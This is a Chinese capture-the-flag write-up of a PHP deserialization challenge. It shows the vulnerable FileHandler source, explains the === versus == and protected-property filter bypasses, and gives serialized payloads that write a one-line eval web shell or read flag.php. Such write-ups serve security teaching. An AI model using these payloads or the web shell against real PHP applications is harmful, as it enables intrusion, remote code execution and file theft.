考点:
PHP反序列化
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
漏洞原理
php7对类属性类型不敏感。
php===
和==
的比较绕过。
查看源码可以看出,GET方式传入变量str,会经过反序列化得到一个类的对象$obj
。
再看类FileHandler
,在read()
函数中发现了敏感函数file_get_contenst()
、在write()
函数里面发现了file_put_contents
。
而这两个函数在process
函数中,被调用了,当op==‘1’
时,调用写函数,当op==‘2’
时,调用读函数。而process
函数在__destruct()
中被调用了。
__destruct
函数中对op使用了===
比较,在process()
函数中使用了==
比较,此时可以用数字op=1
绕过,===
会比较函数两边点的类型是否一致,而==
不会。
再传入str的时候,发现对str进行了过滤,is_valid
对传入的参数进行了检查,只允许ascii为32-125
的字符传入。
而protected权限的变量经过序列化后会产生%00*%00
,%00
的ascii码为0
。
此时可以将属性类型改为public
来绕过。因为php7对类属性类型不敏感。
那么此时有两种思路:
第一种思路:写一句话进去
构造一个FileHandler 类的实例的序列化字符串传入str,str被反序列化得到$obj,就是FileHandler类的实例。
在这个程序结束时,实例obj
被销毁会调用__destruct()
函数。此时如果obj->op==1
,就能将 $content
写入到$filename
里面去。
构造payload:
<?php
class FileHandler {
public $op=1;
public $filename="1.php";
public $content='123<?php eval($_POST[1]);?>';
}
$a= new FileHandler();
$b=serialize($a);
echo $b;
paylaod:
?str=O:11:"FileHandler":3:{s:2:"op";i:1;s:8:"filename";s:5:"1.php";s:7:"content";s:27:"123<?php eval($_POST[1]);?>";}
报错,没有写文件的权限。
第二种思路:直接读flag.php。
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content="";
}
$a= new FileHandler();
$b=serialize($a);
echo $b;
payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
get flag。